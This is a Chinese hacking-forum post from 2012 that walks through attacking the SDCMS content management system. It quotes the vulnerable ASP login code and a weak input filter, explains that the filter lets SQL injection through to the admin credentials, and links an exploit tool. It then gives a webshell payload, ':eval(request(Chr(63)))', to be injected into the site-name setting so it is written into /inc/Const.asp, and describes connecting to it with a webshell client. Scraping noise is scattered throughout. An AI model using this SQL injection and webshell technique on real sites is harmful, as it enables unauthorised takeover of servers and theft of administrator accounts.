中国网络渗透测试联盟
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
[打印本页]
作者:
admin
时间:
2012-11-9 20:57
标题:
SDCMS通杀漏洞利用工具及提权拿SHELL
作者:T00LS 鬼哥
5 v. m; }+ |* \% A
漏洞文件:后台目录/index.asp
6 R/ I9 I; j8 L! t k
. m; M% M% u5 {; Q
Sub Check
F0 H: \/ Q( S0 R% G8 o$ L- h
Dim username,password,code,getcode,Rs
5 {7 \9 [* w9 d6 \& J/ T
IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
2 f8 R2 |" k1 a
username=FilterText(Trim(Request.Form("username")),1)
8 S) d7 n3 Z5 ]
password=FilterText(Trim(Request.Form("password")),1)
& k. V+ D& K } p' G( Q
code=Trim(Request.Form("yzm"))
* \: e+ {6 ?4 D' R$ O' r
getcode=Session("SDCMSCode")
; e) a/ g; h( d: [* z2 n) K! u9 `
IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
) O5 z% A/ G' A4 `# k \) @9 {
IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"
ied
& A6 [: q3 d4 `! a
IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"
ied
% v" T7 ^- N: L8 l, e: l
IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"
ied
/ F) c2 t- S: Q0 ~
IF username="" or password="" Then
: D6 u# S, G- Q4 _' Y! w
Echo "用户名或密码不能为空"
ied
) J, J3 p- W1 [6 t1 [
Else
! b4 s0 Y$ ^! H$ @) Z- ~9 o
Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
" L+ u. g) W0 d( V6 M- C1 k
IF Rs.Eof Then
+ H, W. A% r+ A6 q \
AddLog username,GetIp,"登录失败",1
% @: u' [( @: S! D+ J: e' |
Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
8 {2 O6 ]- s9 o- H
Else
6 Z" c- w9 w1 P! b0 L. {
Add_Cookies "sdcms_id",Rs(0)
f# N9 I' R( K0 x0 w
Add_Cookies "sdcms_name",username
6 |9 r1 G- a9 s& Z* Z7 d8 U- \' M
Add_Cookies "sdcms_pwd",Rs(2)
% }8 C2 q; S$ `" l
Add_Cookies "sdcms_admin",Rs(3)
* G# Z; ~1 z# S0 Z. p. n1 |
Add_Cookies "sdcms_alllever",Rs(4)
. P& q. K6 s, C0 t" i4 U
Add_Cookies "sdcms_infolever",Rs(5)
# C1 }' k& w( u5 K. Y1 e! u+ o
Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
% W H- C/ G; H" Z
AddLog username,GetIp,"登录成功",1
9 u1 V, c! H) O- N
'自动删除30天前的Log记录
4 J8 Z k' {2 ~
IF Sdcms_DataType Then
' O5 M8 w, J9 p0 m4 M
Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
% H1 G, u+ L+ n% Y1 ~' ^" H( s
Else
# o+ m6 N8 G+ K, M! H2 G
Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
; O0 o, ^+ t" |8 `5 h
End IF
: }4 r1 o- @% M( z) }
Go("sdcms_index.asp")
) t/ c% H' c: t/ u
End IF
8 C1 f! G, M$ S/ A. }5 M/ I
Rs.Close
3 n4 L( r& [$ s( `. n F$ k% ^
Set Rs=Nothing
* \" K* M2 T3 `7 m2 i
End IF
+ d3 y1 z" K; g1 c" Q
End Sub
& i J7 p4 n$ g) k) ~1 i
6 y* E/ d1 `' I- Y8 h. S7 |
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码
; V3 S" H5 O S0 n) p# n
: _. d- k! k6 \4 u
Function FilterText(ByVal t0,ByVal t1)
0 ^. V# \# {% f* E
IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
( ^! b5 L3 Y) B$ z
t0=Trim(t0)
) I1 T+ G5 A. H B8 X! w
Select Case t1
3 A' k! R# o2 E" }
Case "1"
: J+ @: f6 g6 V- S% L" R' V @- R
t0=Replace(t0,Chr(32),"")
) t. j L* `9 N( Q0 X; B
t0=Replace(t0,Chr(13),"")
a1 N$ h. H/ z I# Z
t0=Replace(t0,Chr(10)&Chr(10),"")
5 q) g; d2 P! I- W) R6 C C) _( n8 \
t0=Replace(t0,Chr(10),"")
. ]* a8 M; ]# j& k
Case "2"
* F% ?2 g. s% x5 {7 H. N( Z$ y1 m
t0=Replace(t0,Chr(8),"")'回格
- F0 d |8 `% s3 \- v2 }
t0=Replace(t0,Chr(9),"")'tab(水平制表符)
% L4 A) _/ Q; L' W! k% p
t0=Replace(t0,Chr(10),"")'换行
$ o: m' A, q5 P, r) f' v
t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
2 n* f2 R2 t2 U7 g$ V# Y9 A( o* ?
t0=Replace(t0,Chr(12),"")'换页
! J2 F" A' c4 Y/ ?7 u8 g# R& F
t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
9 d* h6 L" g6 x
t0=Replace(t0,Chr(22),"")
7 ]+ ?( G& Q6 z& p3 ~( Y
t0=Replace(t0,Chr(32),"")'空格 SPACE
; K. J; ]4 F! r: [$ f* I- D8 N* I
t0=Replace(t0,Chr(33),"")'!
) V. Z! L- t7 F( C, m. |) L
t0=Replace(t0,Chr(34),"")'"
- B$ Q7 H+ c# F5 u* w
t0=Replace(t0,Chr(35),"")'#
% {: W+ f8 d8 J- p5 ]; C
t0=Replace(t0,Chr(36),"")'$
7 F3 ?3 q; w3 ?6 |1 _6 j
t0=Replace(t0,Chr(37),"")'%
# i2 x% ]& P- o: `
t0=Replace(t0,Chr(38),"")'&
: R8 d" Y6 N4 H' x$ r
t0=Replace(t0,Chr(39),"")''
% b! z3 ~& w6 _" y/ X" F
t0=Replace(t0,Chr(40),"")'(
' i! {- E& i3 m; a( g
t0=Replace(t0,Chr(41),"")')
) b1 V5 K& l6 |. g; N( E' L* m6 l
t0=Replace(t0,Chr(42),"")'*
/ w# N+ M1 K) n$ A
t0=Replace(t0,Chr(43),"")'+
2 I- Q& e: L K% L+ X8 Y. ^
t0=Replace(t0,Chr(44),"")',
/ A) o2 o$ z4 {: \1 Y; n+ p% Y8 H
t0=Replace(t0,Chr(45),"")'-
C1 I x; V7 A B6 E1 T2 z- J! G
t0=Replace(t0,Chr(46),"")'.
% b1 R- j& ^7 [
t0=Replace(t0,Chr(47),"")'/
; ?' `* q' o k
t0=Replace(t0,Chr(58),"")':
; a2 W) j' l* n0 k2 i
t0=Replace(t0,Chr(59),"")';
: N! A* H# ^" r3 m! ~! ]
t0=Replace(t0,Chr(60),"")'< t0=Replace(t0,Chr(61),"")'= t0=Replace(t0,Chr(62),"")'>
- N8 D+ L4 v' Q
t0=Replace(t0,Chr(63),"")'?
( z$ Z7 R b# H. V
t0=Replace(t0,Chr(64),"")'@
+ `0 G2 b; }0 S4 _8 r R
t0=Replace(t0,Chr(91),"")'\
5 p+ A6 ]/ W' q7 P7 O1 C1 s
t0=Replace(t0,Chr(92),"")'\
# ~& f/ i- h) O1 Z* S* |
t0=Replace(t0,Chr(93),"")']
1 {4 }3 U, G4 F5 a
t0=Replace(t0,Chr(94),"")'^
% u5 w* L. `. T6 @0 j
t0=Replace(t0,Chr(95),"")'_
7 i% J% u8 t _9 ?9 Q' i/ k
t0=Replace(t0,Chr(96),"")'`
" c8 Q0 V8 M# {* g
t0=Replace(t0,Chr(123),"")'{
9 ?9 U/ {( G- O" S! c
t0=Replace(t0,Chr(124),"")'|
& [+ ^7 R5 x& ]4 A
t0=Replace(t0,Chr(125),"")'}
, ^" q3 D& n# f# T/ U$ C! f
t0=Replace(t0,Chr(126),"")'~
) h, a) P. @0 P
Case Else
( l' U G T' ~( P$ ^4 D
t0=Replace(t0, "&", "&")
{4 D4 x; o& U: Z: |" _ q! J
t0=Replace(t0, "'", "'")
' b: x! @# R5 c" K2 t5 z( b4 r& H2 s
t0=Replace(t0, """", """)
s3 B5 C) ] v7 W
t0=Replace(t0, "<", "<") t0=Replace(t0, ">", ">")
8 Y2 B" } V" z8 |" E! z
End Select
) W" D- F9 v" m$ L
IF Instr(Lcase(t0),"expression")>0 Then
3 c" ~/ ?" U1 j% V+ o/ S2 R: N# a
t0=Replace(t0,"expression","e­xpression", 1, -1, 0)
* x. ]& ?2 _, f& E
End If
. h- A) V7 r" U: B8 Y1 j
FilterText=t0
6 I5 i9 a" P" q, `- }
End Function
- f0 J6 o0 W2 v
( b6 p' Z9 l- e) _( r: S
看到没。直接参数是1 只过滤
$ s% @( V( M, |- S1 {4 p) X. _2 @
t0=Replace(t0,Chr(32)," ")
$ _# T3 `! J& @( P" U8 d
t0=Replace(t0,Chr(13),"")
U( a! y4 }- d/ \+ V4 F
t0=Replace(t0,Chr(10)&Chr(10),"
1 b9 r1 L; t* [0 q; _3 j
")
5 `. t D4 E6 d7 O1 ]4 A+ s- F8 D
t0=Replace(t0,Chr(10),"
: H/ @) O! V, J! f4 X1 D
")
; H) H( O7 z# P2 M2 J; V
漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
1 @! K1 [# A2 p
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
W& z/ q! c6 c
d3 N+ ]1 y3 O# p5 ]2 C! S& R9 Y
测试:
. F3 |; l2 z. ^! K; b
+ T8 a# J' B+ z; r& `7 d, h+ h
4 Y, L' S! i! y, q [' T {
现在输入工具上验证码,然后点OK
1 @2 O2 O: `- R' f: X
+ }( j7 u5 ^+ A) W, V8 _
/ s: l F6 Y, ~% H' V
看到我们直接进入后台管理界面了,呵呵!
/ R0 i* N+ O9 E
2 {# l3 r( h/ E1 Q! [/ n7 J
2 e& V) w& q6 Q4 W& s' m; O( {
% j8 M) r! M& J' a
这样直接进入后台了。。。。
9 e g# Y2 z3 C& V
! f) l. d- [* m7 N' ]
; Z! z, f3 y" j' O
# m R0 {8 K; c$ L, v M8 J: O/ Z
SDCMS提权:
6 ]0 S" A* H f& a/ g
4 Z6 M3 V- X2 z* I
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’ 即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
( I* q. U. ^& {9 S' u, r9 i
+ ~2 W4 \% }7 r3 l7 c, j- V
$ R$ W' w" Q3 O( ~6 V
3 E, q; L6 g; h# D" |
OK,现在用菜刀连接下!
9 B5 h T# z# a8 Z
' M, m% D9 F) b# T" L8 [5 z7 l
: e7 ?9 f8 k0 H4 y, M
( p# c, l% k* m
' }2 P: F" n, w& Q
g$ p4 ]& c) b: }) e6 Y4 n0 T0 s! X3 x' b
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2